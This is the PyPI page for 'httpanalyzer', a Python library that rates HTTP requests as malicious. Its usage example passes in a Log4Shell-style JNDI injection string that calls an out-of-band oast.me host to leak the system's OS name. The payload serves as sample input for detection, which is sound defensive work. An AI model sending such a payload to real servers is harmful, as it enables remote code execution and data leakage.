Skip to main content

Library for analyzing http-requests

Project description

httpanalyzer

Language License Version Stars Commit Activity

This is a python library for analyzing http-request. Useful to reduce unnecessary traffic.

License

This project is licensed under the MIT-license. See LICENSE.txt for more information.

Installing

Make sure pip3 is installed and up to date before executing this command.

pip3 install httpanalyzer

Usage

Import the library:

import httpanalyzer

Create a new request instance:

instance = httpanalyzer.Request(http_headers, ip, url, admin_panels)

Print the malicious rating:

print(instance.malicious())

Example

import httpanalyzer

instance = httpanalyzer.Request(
    {'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
     'Accept-Encoding': 'gzip, deflate, br',
     'Accept-Language': 'en-US,en;q=0.5',
     'Connection': 'keep-alive',
     'Host': '127.0.0.1:80',
     'User-Agent': 'curl/7.82.0'},
    '159.223.205.51',
    '/api/geojson?url=${jndi:ldap://${sys:os.name}.cd387hid68000106u4rtc.oast.me}',
    ['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin']
)
print(f"Malicious rating: {instance.malicious() * 100}%")

Admin Panels

To reduce the amount of false positives, specify all admin panels you are using. For WordPress this would be ['wp-content', 'wp-config', 'wp-includes', 'wp-admin', 'admin'].

Flask

httpanalyzer natively supports flask request objects:

instance = httpanalyzer.FlaskRequest(flask.request)

Dependencies

Python 3.6 or newer is required. Older versions do not work.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

httpanalyzer-0.1.6.tar.gz (9.9 kB view details)

Uploaded Source

Built Distribution

httpanalyzer-0.1.6-py3-none-any.whl (9.3 kB view details)

Uploaded Python 3

File details

Details for the file httpanalyzer-0.1.6.tar.gz.

File metadata

  • Download URL: httpanalyzer-0.1.6.tar.gz
  • Upload date:
  • Size: 9.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/4.0.2 CPython/3.11.1

File hashes

Hashes for httpanalyzer-0.1.6.tar.gz
Algorithm Hash digest
SHA256 7d657f6d970ae53ce1896eb35775d6ccb4df177df7046b55b41224b327600447
MD5 55910f7f0e574ddaee736ab9f2cd40ff
BLAKE2b-256 c5d0f55b5826fcc3418ed00da1f85007f90ffee003cb62d0b25372bf990c2095

See more details on using hashes here.

File details

Details for the file httpanalyzer-0.1.6-py3-none-any.whl.

File metadata

File hashes

Hashes for httpanalyzer-0.1.6-py3-none-any.whl
Algorithm Hash digest
SHA256 b14fc9ee3a50a4ae0278feff2745fdac99931895538fe4f39893ca579035c28a
MD5 cfd0af8fb926b08ad0eebff8b5f7b960
BLAKE2b-256 ca5adbe98d28456bef60ea302ccaff61952e429fd98d13e4b7d93b639aa7c95b

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page